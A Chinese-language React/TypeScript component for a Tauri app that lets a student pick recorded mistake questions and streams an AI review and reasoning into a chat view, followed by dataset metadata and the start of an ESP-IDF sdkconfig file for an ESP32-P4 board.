const [isChatting, setIsChatting] = useState(false);
const [subjectMistakes, setSubjectMistakes] = useState<MistakeItem[]>([]);
const [loading, setLoading] = useState(false);
const [availableSubjects, setAvailableSubjects] = useState<string[]>([]);
const [isLoadingSubjects, setIsLoadingSubjects] = useState(true);
// 流式处理相关状态
const [streamingMessageIndex, setStreamingMessageIndex] = useState<number | null>(null);
const [thinkingContent, setThinkingContent] = useState<Map<number, string>>(new Map());
// 获取当前科目的错题
const getSubjectMistakes = () => {
return subjectMistakes;
};
// 加载科目错题
const loadSubjectMistakes = async (subject: string) => {
setLoading(true);
try {
const mistakes = await TauriAPI.getMistakes({ subject });
setSubjectMistakes(mistakes);
} catch (error) {
console.error('加载错题失败:', error);
alert('加载错题失败: ' + error);
} finally {
setLoading(false);
}
};
// 加载支持的科目
useEffect(() => {
const loadSubjects = async () => {
try {
const subjects = await TauriAPI.getSupportedSubjects();
setAvailableSubjects(subjects);
// 设置默认科目为第一个
if (subjects.length > 0) {
setSelectedSubject(subjects[0]);
}
} catch (error) {
console.error('加载科目失败:', error);
// 如果API失败，使用备用科目列表
const fallbackSubjects = ['数学', '物理', '化学', '英语'];
setAvailableSubjects(fallbackSubjects);
setSelectedSubject(fallbackSubjects[0]);
} finally {
setIsLoadingSubjects(false);
}
};
loadSubjects();
}, []);
// 组件加载时和科目变化时加载错题
useEffect(() => {
if (selectedSubject) {
loadSubjectMistakes(selectedSubject);
}
}, [selectedSubject]);
// 切换错题选择
const toggleMistakeSelection = (mistake: MistakeItem) => {
setSelectedMistakes(prev => {
const isSelected = prev.some(m => m.id === mistake.id);
if (isSelected) {
return prev.filter(m => m.id !== mistake.id);
} else {
return [...prev, mistake];
}
});
};
// 全选/取消全选
const toggleSelectAll = () => {
const subjectMistakes = getSubjectMistakes();
if (selectedMistakes.length === subjectMistakes.length) {
setSelectedMistakes([]);
} else {
setSelectedMistakes(subjectMistakes);
}
};
// 开始回顾分析 - 流式版本
const startReviewAnalysis = async () => {
if (selectedMistakes.length === 0) {
alert('请至少选择一道错题进行分析');
return;
}
setIsAnalyzing(true);
setStreamingMessageIndex(null);
setChatHistory([]);
setThinkingContent(new Map());
try {
const mistakeIds = selectedMistakes.map(m => m.id);
console.log('🚀 开始流式回顾分析:', mistakeIds);
// 创建空的助手消息等待流式填充
const initialMessage: ChatMessage = {
role: 'assistant',
content: '',
timestamp: new Date().toISOString(),
};
setChatHistory([initialMessage]);
setStreamingMessageIndex(0);
// 设置流式事件监听
const streamEvent = 'review_analysis_stream';
let fullContent = '';
let fullThinkingContent = '';
let contentListenerActive = true;
let thinkingListenerActive = true;
// 使用Tauri的listen API
const { listen } = await import('@tauri-apps/api/event');
// 监听主内容流
const unlistenContent = await listen(streamEvent, (event: any) => {
if (!contentListenerActive) return;
console.log(`💬 收到回顾分析流式内容:`, event.payload);
if (event.payload) {
// 先检查是否完成
if (event.payload.is_complete) {
console.log('🎉 流式回顾分析完成，总长度:', fullContent.length);
contentListenerActive = false;
// 如果思维链监听器也不活跃了，则设置整体完成状态
if (!thinkingListenerActive) {
console.log('🎉 所有流式内容完成');
setStreamingMessageIndex(null);
}
return;
}
// 如果有内容，则累积
if (event.payload.content) {
fullContent += event.payload.content;
console.log(`📝 回顾分析累积内容长度: ${fullContent.length} 字符`);
// 更新聊天历史
setChatHistory(prev => {
const newHistory = [...prev];
if (newHistory[0]) {
newHistory[0] = {
...newHistory[0],
content: fullContent
};
}
return newHistory;
});
}
}
});
// 监听思维链事件（回顾分析通常需要深度思考）
const reasoningEvent = `${streamEvent}_reasoning`;
console.log(`🧠 监听回顾分析思维链事件: ${reasoningEvent}`);
const unlistenThinking = await listen(reasoningEvent, (event: any) => {
if (!thinkingListenerActive) return;
console.log(`🧠 回顾分析思维链内容:`, event.payload);
if (event.payload) {
// 先检查是否完成
if (event.payload.is_complete) {
console.log('🎉 回顾分析思维链完成，总长度:', fullThinkingContent.length);
thinkingListenerActive = false;
// 如果主内容监听器也不活跃了，则设置整体完成状态
if (!contentListenerActive) {
console.log('🎉 所有流式内容完成');
setStreamingMessageIndex(null);
}
return;
}
// 如果有内容，则累积
if (event.payload.content) {
fullThinkingContent += event.payload.content;
// 更新思维链内容
setThinkingContent(prev => {
const newMap = new Map(prev);
newMap.set(0, fullThinkingContent);
return newMap;
});
console.log(`🧠 回顾分析思维链累积长度: ${fullThinkingContent.length} 字符`);
}
}
});
// 调用后端流式回顾分析API
const response = await TauriAPI.analyzeReviewSessionStream(selectedSubject, mistakeIds);
// 创建回顾会话对象
const reviewSession: ReviewSession = {
id: response.review_id,
subject: selectedSubject,
selectedMistakes: [...selectedMistakes],
analysis: '', // 将通过流式更新
created_at: new Date().toISOString(),
chatHistory: []
};
setCurrentReview(reviewSession);
} catch (error) {
console.error('❌ 回顾分析失败:', error);
alert('回顾分析失败: ' + error);
setStreamingMessageIndex(null);
setChatHistory([]);
} finally {
setIsAnalyzing(false);
}
};
// 发送聊天消息 - 流式版本
const handleSendMessage = async () => {
if (!currentMessage.trim() || !currentReview) return;
const newUserMessage: ChatMessage = {
role: 'user',
content: currentMessage,
timestamp: new Date().toISOString(),
};
const updatedHistory = [...chatHistory, newUserMessage];
setChatHistory(updatedHistory);
setCurrentMessage('');
setIsChatting(true);
try {
console.log('💬 开始流式回顾分析追问...');
// 创建空的助手消息等待流式填充
const assistantMessage: ChatMessage = {
role: 'assistant',
content: '',
timestamp: new Date().toISOString(),
};
const streamingHistory = [...updatedHistory, assistantMessage];
setChatHistory(streamingHistory);
setStreamingMessageIndex(streamingHistory.length - 1);
// 设置流式事件监听
const streamEvent = `review_chat_stream_${currentReview.id}`;
let fullContent = '';
let fullThinkingContent = '';
let contentListenerActive = true;
let thinkingListenerActive = true;
// 使用Tauri的listen API
const { listen } = await import('@tauri-apps/api/event');
// 监听主内容流
const unlistenContent = await listen(streamEvent, (event: any) => {
if (!contentListenerActive) return;
console.log(`💬 收到回顾追问流式内容:`, event.payload);
if (event.payload) {
// 先检查是否完成
if (event.payload.is_complete) {
console.log('🎉 流式回顾追问完成，总长度:', fullContent.length);
contentListenerActive = false;
// 如果思维链监听器也不活跃了，则设置整体完成状态
if (!thinkingListenerActive) {
console.log('🎉 所有追问流式内容完成');
setStreamingMessageIndex(null);
}
return;
}
// 如果有内容，则累积
if (event.payload.content) {
fullContent += event.payload.content;
console.log(`📝 回顾追问累积内容长度: ${fullContent.length} 字符`);
// 更新聊天历史中的最后一条助手消息
setChatHistory(prev => {
const newHistory = [...prev];
const lastIndex = newHistory.length - 1;
if (newHistory[lastIndex] && newHistory[lastIndex].role === 'assistant') {
newHistory[lastIndex] = {
...newHistory[lastIndex],
content: fullContent
};
}
return newHistory;
});
}
}
});
// 监听思维链事件
const reasoningEvent = `${streamEvent}_reasoning`;
console.log(`🧠 监听回顾追问思维链事件: ${reasoningEvent}`);
const unlistenThinking = await listen(reasoningEvent, (event: any) => {
if (!thinkingListenerActive) return;
console.log(`🧠 回顾追问思维链内容:`, event.payload);
if (event.payload) {
// 先检查是否完成
if (event.payload.is_complete) {
console.log('🎉 回顾追问思维链完成，总长度:', fullThinkingContent.length);
thinkingListenerActive = false;
// 如果主内容监听器也不活跃了，则设置整体完成状态
if (!contentListenerActive) {
console.log('🎉 所有追问流式内容完成');
setStreamingMessageIndex(null);
}
return;
}
// 如果有内容，则累积
if (event.payload.content) {
fullThinkingContent += event.payload.content;
// 更新思维链内容（使用最后一条消息的索引）
const lastMessageIndex = streamingHistory.length - 1;
setThinkingContent(prev => {
const newMap = new Map(prev);
newMap.set(lastMessageIndex, fullThinkingContent);
return newMap;
});
console.log(`🧠 回顾追问思维链累积长度: ${fullThinkingContent.length} 字符`);
}
}
});
// 调用后端流式追问API
await TauriAPI.continueReviewChatStream(currentReview.id, updatedHistory);
} catch (error) {
console.error('❌ 回顾追问失败:', error);
alert('聊天失败: ' + error);
setStreamingMessageIndex(null);
} finally {
setIsChatting(false);
}
};
// 重新开始分析
const resetAnalysis = () => {
setCurrentReview(null);
setChatHistory([]);
setSelectedMistakes([]);
setStreamingMessageIndex(null);
setThinkingContent(new Map());
};
return (
<div className="review-analysis">
<div className="review-header">
<button onClick={onBack} className="back-button">
← 返回
</button>
<h2>回顾分析</h2>
{currentReview && (
<button onClick={resetAnalysis} className="reset-button">
🔄 重新分析
</button>
)}
</div>
{!currentReview ? (
// 选择错题界面
<div className="mistake-selection">
<div className="selection-controls">
<div className="subject-selector">
<label>选择科目:</label>
<select
value={selectedSubject}
onChange={(e) => {
setSelectedSubject(e.target.value);
setSelectedMistakes([]);
}}
disabled={isLoadingSubjects}
>
{isLoadingSubjects ? (
<option value="">加载中...</option>
) : (
availableSubjects.map(subject => (
<option key={subject} value={subject}>{subject}</option>
))
)}
</select>
</div>
<div className="selection-info">
<span>已选择 {selectedMistakes.length} / {getSubjectMistakes().length} 道题目</span>
<button onClick={toggleSelectAll} className="select-all-button">
{selectedMistakes.length === getSubjectMistakes().length ? '取消全选' : '全选'}
</button>
</div>
</div>
{loading ? (
<div className="loading">加载错题中...</div>
) : (
<div className="mistakes-grid">
{getSubjectMistakes().map((mistake) => (
<div
key={mistake.id}
className={`mistake-card ${selectedMistakes.some(m => m.id === mistake.id) ? 'selected' : ''}`}
onClick={() => toggleMistakeSelection(mistake)}
>
<div className="mistake-header">
<input
type="checkbox"
checked={selectedMistakes.some(m => m.id === mistake.id)}
onChange={() => toggleMistakeSelection(mistake)}
onClick={(e) => e.stopPropagation()}
/>
<span className="mistake-type">{mistake.mistake_type}</span>
<span className="mistake-date">
{new Date(mistake.created_at).toLocaleDateString('zh-CN')}
</span>
</div>
<div className="mistake-content">
<h4>{mistake.user_question}</h4>
<p className="ocr-preview">{mistake.ocr_text}</p>
<div className="tags">
{mistake.tags.map((tag, index) => (
<span key={index} className="tag">{tag}</span>
))}
</div>
</div>
</div>
))}
</div>
)}
{!loading && getSubjectMistakes().length === 0 && (
<div className="empty-mistakes">
<p>当前科目还没有错题记录</p>
<p>请先在分析页面添加一些错题</p>
</div>
)}
<div className="analysis-controls">
<div style={{ padding: '0.5rem', backgroundColor: '#f0f8ff', borderRadius: '4px', fontSize: '0.9rem', color: '#666', marginBottom: '1rem' }}>
ℹ️ 回顾分析将使用流式输出和思维链，为您提供深度分析
</div>
<button
onClick={startReviewAnalysis}
disabled={selectedMistakes.length === 0 || isAnalyzing}
className="start-analysis-button"
>
{isAnalyzing ? '分析中...' : `开始分析 (${selectedMistakes.length}道题目)`}
</button>
</div>
</div>
) : (
// 分析结果界面
<div className="analysis-result">
<div className="result-header">
<h3>分析结果 - {currentReview.subject}</h3>
<div className="result-info">
<span>分析题目: {currentReview.selectedMistakes.length} 道</span>
<span>分析时间: {new Date(currentReview.created_at).toLocaleString('zh-CN')}</span>
<span className="stream-indicator">🌊 流式输出 🧠 思维链</span>
</div>
</div>
<div className="chat-container">
<div className="chat-history">
{chatHistory.map((message, index) => {
const isStreaming = streamingMessageIndex === index;
const thinking = thinkingContent.get(index);
return (
<div key={index} className={`message ${message.role}`}>
<div className="message-content">
<StreamingMarkdownRenderer
content={message.content}
isStreaming={isStreaming}
chainOfThought={{
enabled: !!thinking,
details: thinking || ''
}}
/>
</div>
<div className="message-time">
{new Date(message.timestamp).toLocaleTimeString()}
</div>
</div>
);
})}
{(isAnalyzing || isChatting) && streamingMessageIndex === null && (
<div className="message assistant">
<div className="message-content typing">
<span className="typing-indicator">
<span></span>
<span></span>
<span></span>
</span>
{isAnalyzing ? 'AI正在深度分析多道错题...' : '正在思考中...'}
</div>
</div>
)}
</div>
{/* 只有在分析完成后才显示输入框 */}
{!isAnalyzing && currentReview && (
<div className="chat-input">
<input
type="text"
value={currentMessage}
onChange={(e) => setCurrentMessage(e.target.value)}
placeholder="对分析结果有疑问？继续提问..."
onKeyDown={(e) => e.key === 'Enter' && handleSendMessage()}
disabled={isChatting}
/>
<button
onClick={handleSendMessage}
disabled={isChatting || !currentMessage.trim()}
className="send-button"
>
{isChatting ? '⏳' : '📤'}
</button>
</div>
)}
</div>
</div>
)}
</div>
);
};
| 18,869
|
ReviewAnalysis
|
tsx
|
zh
|
tsx
|
code
|
{"qsc_code_num_words": 1731, "qsc_code_num_chars": 18869.0, "qsc_code_mean_word_length": 5.65049105, "qsc_code_frac_words_unique": 0.22414789, "qsc_code_frac_chars_top_2grams": 0.02821797, "qsc_code_frac_chars_top_3grams": 0.01717616, "qsc_code_frac_chars_top_4grams": 0.00899704, "qsc_code_frac_chars_dupe_5grams": 0.30845517, "qsc_code_frac_chars_dupe_6grams": 0.29087005, "qsc_code_frac_chars_dupe_7grams": 0.28115735, "qsc_code_frac_chars_dupe_8grams": 0.25846028, "qsc_code_frac_chars_dupe_9grams": 0.23821695, "qsc_code_frac_chars_dupe_10grams": 0.20631837, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00303876, "qsc_code_frac_chars_whitespace": 0.35470878, "qsc_code_size_file_byte": 18869.0, "qsc_code_num_lines": 595.0, "qsc_code_num_chars_line_max": 154.0, "qsc_code_num_chars_line_mean": 31.71260504, "qsc_code_frac_chars_alphabet": 0.79788108, "qsc_code_frac_chars_comments": 0.04817425, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.41484716, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.05088804, "qsc_code_frac_chars_long_word_length": 0.00473248, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
0015/StickiNote
|
sdkconfig.esp32-p4-nano
|
#
# Automatically generated file. DO NOT EDIT.
# Espressif IoT Development Framework (ESP-IDF) 5.4.0 Project Configuration
#
CONFIG_SOC_ADC_SUPPORTED=y
CONFIG_SOC_ANA_CMPR_SUPPORTED=y
CONFIG_SOC_DEDICATED_GPIO_SUPPORTED=y
CONFIG_SOC_UART_SUPPORTED=y
CONFIG_SOC_GDMA_SUPPORTED=y
CONFIG_SOC_AHB_GDMA_SUPPORTED=y
CONFIG_SOC_AXI_GDMA_SUPPORTED=y
CONFIG_SOC_DW_GDMA_SUPPORTED=y
CONFIG_SOC_DMA2D_SUPPORTED=y
CONFIG_SOC_GPTIMER_SUPPORTED=y
CONFIG_SOC_PCNT_SUPPORTED=y
CONFIG_SOC_LCDCAM_SUPPORTED=y
CONFIG_SOC_LCDCAM_CAM_SUPPORTED=y
CONFIG_SOC_LCDCAM_I80_LCD_SUPPORTED=y
CONFIG_SOC_LCDCAM_RGB_LCD_SUPPORTED=y
CONFIG_SOC_MIPI_CSI_SUPPORTED=y
CONFIG_SOC_MIPI_DSI_SUPPORTED=y
CONFIG_SOC_MCPWM_SUPPORTED=y
CONFIG_SOC_TWAI_SUPPORTED=y
CONFIG_SOC_ETM_SUPPORTED=y
CONFIG_SOC_PARLIO_SUPPORTED=y
CONFIG_SOC_ASYNC_MEMCPY_SUPPORTED=y
CONFIG_SOC_EMAC_SUPPORTED=y
CONFIG_SOC_USB_OTG_SUPPORTED=y
CONFIG_SOC_WIRELESS_HOST_SUPPORTED=y
CONFIG_SOC_USB_SERIAL_JTAG_SUPPORTED=y
CONFIG_SOC_TEMP_SENSOR_SUPPORTED=y
CONFIG_SOC_SUPPORTS_SECURE_DL_MODE=y
CONFIG_SOC_ULP_SUPPORTED=y
CONFIG_SOC_LP_CORE_SUPPORTED=y
CONFIG_SOC_EFUSE_KEY_PURPOSE_FIELD=y
CONFIG_SOC_EFUSE_SUPPORTED=y
CONFIG_SOC_RTC_FAST_MEM_SUPPORTED=y
CONFIG_SOC_RTC_MEM_SUPPORTED=y
CONFIG_SOC_RMT_SUPPORTED=y
CONFIG_SOC_I2S_SUPPORTED=y
CONFIG_SOC_SDM_SUPPORTED=y
CONFIG_SOC_GPSPI_SUPPORTED=y
CONFIG_SOC_LEDC_SUPPORTED=y
CONFIG_SOC_ISP_SUPPORTED=y
CONFIG_SOC_I2C_SUPPORTED=y
CONFIG_SOC_SYSTIMER_SUPPORTED=y
CONFIG_SOC_AES_SUPPORTED=y
CONFIG_SOC_MPI_SUPPORTED=y
CONFIG_SOC_SHA_SUPPORTED=y
CONFIG_SOC_HMAC_SUPPORTED=y
CONFIG_SOC_DIG_SIGN_SUPPORTED=y
CONFIG_SOC_ECC_SUPPORTED=y
CONFIG_SOC_ECC_EXTENDED_MODES_SUPPORTED=y
CONFIG_SOC_FLASH_ENC_SUPPORTED=y
CONFIG_SOC_SECURE_BOOT_SUPPORTED=y
CONFIG_SOC_BOD_SUPPORTED=y
CONFIG_SOC_APM_SUPPORTED=y
CONFIG_SOC_PMU_SUPPORTED=y
CONFIG_SOC_DCDC_SUPPORTED=y
CONFIG_SOC_PAU_SUPPORTED=y
CONFIG_SOC_LP_TIMER_SUPPORTED=y
CONFIG_SOC_ULP_LP_UART_SUPPORTED=y
CONFIG_SOC_LP_GPIO_MATRIX_SUPPORTED=y
CONFIG_SOC_LP_PERIPHERALS_SUPPORTED=y
CONFIG_SOC_LP_I2C_SUPPORTED=y
CONFIG_SOC_LP_I2S_SUPPORTED=y
CONFIG_SOC_LP_SPI_SUPPORTED=y
CONFIG_SOC_LP_ADC_SUPPORTED=y
CONFIG_SOC_LP_VAD_SUPPORTED=y
CONFIG_SOC_SPIRAM_SUPPORTED=y
CONFIG_SOC_PSRAM_DMA_CAPABLE=y
CONFIG_SOC_SDMMC_HOST_SUPPORTED=y
CONFIG_SOC_CLK_TREE_SUPPORTED=y
CONFIG_SOC_ASSIST_DEBUG_SUPPORTED=y
CONFIG_SOC_DEBUG_PROBE_SUPPORTED=y
CONFIG_SOC_WDT_SUPPORTED=y
CONFIG_SOC_SPI_FLASH_SUPPORTED=y
CONFIG_SOC_TOUCH_SENSOR_SUPPORTED=y
CONFIG_SOC_RNG_SUPPORTED=y
CONFIG_SOC_GP_LDO_SUPPORTED=y
CONFIG_SOC_PPA_SUPPORTED=y
CONFIG_SOC_LIGHT_SLEEP_SUPPORTED=y
CONFIG_SOC_DEEP_SLEEP_SUPPORTED=y
CONFIG_SOC_PM_SUPPORTED=y
CONFIG_SOC_XTAL_SUPPORT_40M=y
CONFIG_SOC_AES_SUPPORT_DMA=y
CONFIG_SOC_AES_SUPPORT_GCM=y
CONFIG_SOC_AES_GDMA=y
CONFIG_SOC_AES_SUPPORT_AES_128=y
CONFIG_SOC_AES_SUPPORT_AES_256=y
CONFIG_SOC_ADC_RTC_CTRL_SUPPORTED=y
CONFIG_SOC_ADC_DIG_CTRL_SUPPORTED=y
CONFIG_SOC_ADC_DMA_SUPPORTED=y
CONFIG_SOC_ADC_PERIPH_NUM=2
CONFIG_SOC_ADC_MAX_CHANNEL_NUM=8
CONFIG_SOC_ADC_ATTEN_NUM=4
CONFIG_SOC_ADC_DIGI_CONTROLLER_NUM=2
CONFIG_SOC_ADC_PATT_LEN_MAX=16
CONFIG_SOC_ADC_DIGI_MAX_BITWIDTH=12
CONFIG_SOC_ADC_DIGI_MIN_BITWIDTH=12
CONFIG_SOC_ADC_DIGI_IIR_FILTER_NUM=2
CONFIG_SOC_ADC_DIGI_MONITOR_NUM=2
CONFIG_SOC_ADC_DIGI_RESULT_BYTES=4
CONFIG_SOC_ADC_DIGI_DATA_BYTES_PER_CONV=4
CONFIG_SOC_ADC_SAMPLE_FREQ_THRES_HIGH=83333
CONFIG_SOC_ADC_SAMPLE_FREQ_THRES_LOW=611
CONFIG_SOC_ADC_RTC_MIN_BITWIDTH=12
CONFIG_SOC_ADC_RTC_MAX_BITWIDTH=12
CONFIG_SOC_ADC_SHARED_POWER=y
CONFIG_SOC_BROWNOUT_RESET_SUPPORTED=y
CONFIG_SOC_SHARED_IDCACHE_SUPPORTED=y
CONFIG_SOC_CACHE_WRITEBACK_SUPPORTED=y
CONFIG_SOC_CACHE_FREEZE_SUPPORTED=y
CONFIG_SOC_CACHE_INTERNAL_MEM_VIA_L1CACHE=y
CONFIG_SOC_CPU_CORES_NUM=2
CONFIG_SOC_CPU_INTR_NUM=32
CONFIG_SOC_CPU_HAS_FLEXIBLE_INTC=y
CONFIG_SOC_INT_CLIC_SUPPORTED=y
CONFIG_SOC_INT_HW_NESTED_SUPPORTED=y
CONFIG_SOC_BRANCH_PREDICTOR_SUPPORTED=y
CONFIG_SOC_CPU_COPROC_NUM=3
CONFIG_SOC_CPU_HAS_FPU=y
CONFIG_SOC_CPU_HAS_FPU_EXT_ILL_BUG=y
CONFIG_SOC_CPU_HAS_HWLOOP=y
CONFIG_SOC_CPU_HAS_PIE=y
CONFIG_SOC_HP_CPU_HAS_MULTIPLE_CORES=y
CONFIG_SOC_CPU_BREAKPOINTS_NUM=3
CONFIG_SOC_CPU_WATCHPOINTS_NUM=3
CONFIG_SOC_CPU_WATCHPOINT_MAX_REGION_SIZE=0x100
CONFIG_SOC_CPU_HAS_PMA=y
CONFIG_SOC_CPU_IDRAM_SPLIT_USING_PMP=y
CONFIG_SOC_CPU_PMP_REGION_GRANULARITY=128
CONFIG_SOC_CPU_HAS_LOCKUP_RESET=y
CONFIG_SOC_DS_SIGNATURE_MAX_BIT_LEN=4096
CONFIG_SOC_DS_KEY_PARAM_MD_IV_LENGTH=16
CONFIG_SOC_DS_KEY_CHECK_MAX_WAIT_US=1100
CONFIG_SOC_DMA_CAN_ACCESS_FLASH=y
CONFIG_SOC_AHB_GDMA_VERSION=2
CONFIG_SOC_GDMA_SUPPORT_CRC=y
CONFIG_SOC_GDMA_NUM_GROUPS_MAX=2
CONFIG_SOC_GDMA_PAIRS_PER_GROUP_MAX=3
CONFIG_SOC_AXI_GDMA_SUPPORT_PSRAM=y
CONFIG_SOC_GDMA_SUPPORT_ETM=y
CONFIG_SOC_GDMA_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_AXI_DMA_EXT_MEM_ENC_ALIGNMENT=16
CONFIG_SOC_DMA2D_GROUPS=1
CONFIG_SOC_DMA2D_TX_CHANNELS_PER_GROUP=3
CONFIG_SOC_DMA2D_RX_CHANNELS_PER_GROUP=2
CONFIG_SOC_ETM_GROUPS=1
CONFIG_SOC_ETM_CHANNELS_PER_GROUP=50
CONFIG_SOC_ETM_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_GPIO_PORT=1
CONFIG_SOC_GPIO_PIN_COUNT=55
CONFIG_SOC_GPIO_SUPPORT_PIN_GLITCH_FILTER=y
CONFIG_SOC_GPIO_FLEX_GLITCH_FILTER_NUM=8
CONFIG_SOC_GPIO_SUPPORT_PIN_HYS_FILTER=y
CONFIG_SOC_GPIO_SUPPORT_ETM=y
CONFIG_SOC_GPIO_SUPPORT_RTC_INDEPENDENT=y
CONFIG_SOC_GPIO_SUPPORT_DEEPSLEEP_WAKEUP=y
CONFIG_SOC_LP_IO_HAS_INDEPENDENT_WAKEUP_SOURCE=y
CONFIG_SOC_LP_IO_CLOCK_IS_INDEPENDENT=y
CONFIG_SOC_GPIO_VALID_GPIO_MASK=0x007FFFFFFFFFFFFF
CONFIG_SOC_GPIO_IN_RANGE_MAX=54
CONFIG_SOC_GPIO_OUT_RANGE_MAX=54
CONFIG_SOC_GPIO_DEEP_SLEEP_WAKE_VALID_GPIO_MASK=0
CONFIG_SOC_GPIO_DEEP_SLEEP_WAKE_SUPPORTED_PIN_CNT=16
CONFIG_SOC_GPIO_VALID_DIGITAL_IO_PAD_MASK=0x007FFFFFFFFF0000
CONFIG_SOC_GPIO_CLOCKOUT_BY_GPIO_MATRIX=y
CONFIG_SOC_GPIO_CLOCKOUT_CHANNEL_NUM=2
CONFIG_SOC_CLOCKOUT_SUPPORT_CHANNEL_DIVIDER=y
CONFIG_SOC_DEBUG_PROBE_NUM_UNIT=1
CONFIG_SOC_DEBUG_PROBE_MAX_OUTPUT_WIDTH=16
CONFIG_SOC_GPIO_SUPPORT_FORCE_HOLD=y
CONFIG_SOC_RTCIO_PIN_COUNT=16
CONFIG_SOC_RTCIO_INPUT_OUTPUT_SUPPORTED=y
CONFIG_SOC_RTCIO_HOLD_SUPPORTED=y
CONFIG_SOC_RTCIO_WAKE_SUPPORTED=y
CONFIG_SOC_DEDIC_GPIO_OUT_CHANNELS_NUM=8
CONFIG_SOC_DEDIC_GPIO_IN_CHANNELS_NUM=8
CONFIG_SOC_DEDIC_PERIPH_ALWAYS_ENABLE=y
CONFIG_SOC_ANA_CMPR_NUM=2
CONFIG_SOC_ANA_CMPR_CAN_DISTINGUISH_EDGE=y
CONFIG_SOC_ANA_CMPR_SUPPORT_ETM=y
CONFIG_SOC_I2C_NUM=3
CONFIG_SOC_HP_I2C_NUM=2
CONFIG_SOC_I2C_FIFO_LEN=32
CONFIG_SOC_I2C_CMD_REG_NUM=8
CONFIG_SOC_I2C_SUPPORT_SLAVE=y
CONFIG_SOC_I2C_SUPPORT_HW_FSM_RST=y
CONFIG_SOC_I2C_SUPPORT_HW_CLR_BUS=y
CONFIG_SOC_I2C_SUPPORT_XTAL=y
CONFIG_SOC_I2C_SUPPORT_RTC=y
CONFIG_SOC_I2C_SUPPORT_10BIT_ADDR=y
CONFIG_SOC_I2C_SLAVE_SUPPORT_BROADCAST=y
CONFIG_SOC_I2C_SLAVE_CAN_GET_STRETCH_CAUSE=y
CONFIG_SOC_I2C_SLAVE_SUPPORT_I2CRAM_ACCESS=y
CONFIG_SOC_I2C_SLAVE_SUPPORT_SLAVE_UNMATCH=y
CONFIG_SOC_I2C_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_LP_I2C_NUM=1
CONFIG_SOC_LP_I2C_FIFO_LEN=16
CONFIG_SOC_I2S_NUM=3
CONFIG_SOC_I2S_HW_VERSION_2=y
CONFIG_SOC_I2S_SUPPORTS_ETM=y
CONFIG_SOC_I2S_SUPPORTS_XTAL=y
CONFIG_SOC_I2S_SUPPORTS_APLL=y
CONFIG_SOC_I2S_SUPPORTS_PCM=y
CONFIG_SOC_I2S_SUPPORTS_PDM=y
CONFIG_SOC_I2S_SUPPORTS_PDM_TX=y
CONFIG_SOC_I2S_SUPPORTS_PDM_RX=y
CONFIG_SOC_I2S_SUPPORTS_PDM_RX_HP_FILTER=y
CONFIG_SOC_I2S_SUPPORTS_TX_SYNC_CNT=y
CONFIG_SOC_I2S_SUPPORTS_TDM=y
CONFIG_SOC_I2S_PDM_MAX_TX_LINES=2
CONFIG_SOC_I2S_PDM_MAX_RX_LINES=4
CONFIG_SOC_I2S_TDM_FULL_DATA_WIDTH=y
CONFIG_SOC_I2S_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_LP_I2S_NUM=1
CONFIG_SOC_ISP_BF_SUPPORTED=y
CONFIG_SOC_ISP_CCM_SUPPORTED=y
CONFIG_SOC_ISP_DEMOSAIC_SUPPORTED=y
CONFIG_SOC_ISP_DVP_SUPPORTED=y
CONFIG_SOC_ISP_SHARPEN_SUPPORTED=y
CONFIG_SOC_ISP_COLOR_SUPPORTED=y
CONFIG_SOC_ISP_LSC_SUPPORTED=y
CONFIG_SOC_ISP_SHARE_CSI_BRG=y
CONFIG_SOC_ISP_NUMS=1
CONFIG_SOC_ISP_DVP_CTLR_NUMS=1
CONFIG_SOC_ISP_AE_CTLR_NUMS=1
CONFIG_SOC_ISP_AE_BLOCK_X_NUMS=5
CONFIG_SOC_ISP_AE_BLOCK_Y_NUMS=5
CONFIG_SOC_ISP_AF_CTLR_NUMS=1
CONFIG_SOC_ISP_AF_WINDOW_NUMS=3
CONFIG_SOC_ISP_BF_TEMPLATE_X_NUMS=3
CONFIG_SOC_ISP_BF_TEMPLATE_Y_NUMS=3
CONFIG_SOC_ISP_CCM_DIMENSION=3
CONFIG_SOC_ISP_DEMOSAIC_GRAD_RATIO_INT_BITS=2
CONFIG_SOC_ISP_DEMOSAIC_GRAD_RATIO_DEC_BITS=4
CONFIG_SOC_ISP_DEMOSAIC_GRAD_RATIO_RES_BITS=26
CONFIG_SOC_ISP_DVP_DATA_WIDTH_MAX=16
CONFIG_SOC_ISP_SHARPEN_TEMPLATE_X_NUMS=3
CONFIG_SOC_ISP_SHARPEN_TEMPLATE_Y_NUMS=3
CONFIG_SOC_ISP_SHARPEN_H_FREQ_COEF_INT_BITS=3
CONFIG_SOC_ISP_SHARPEN_H_FREQ_COEF_DEC_BITS=5
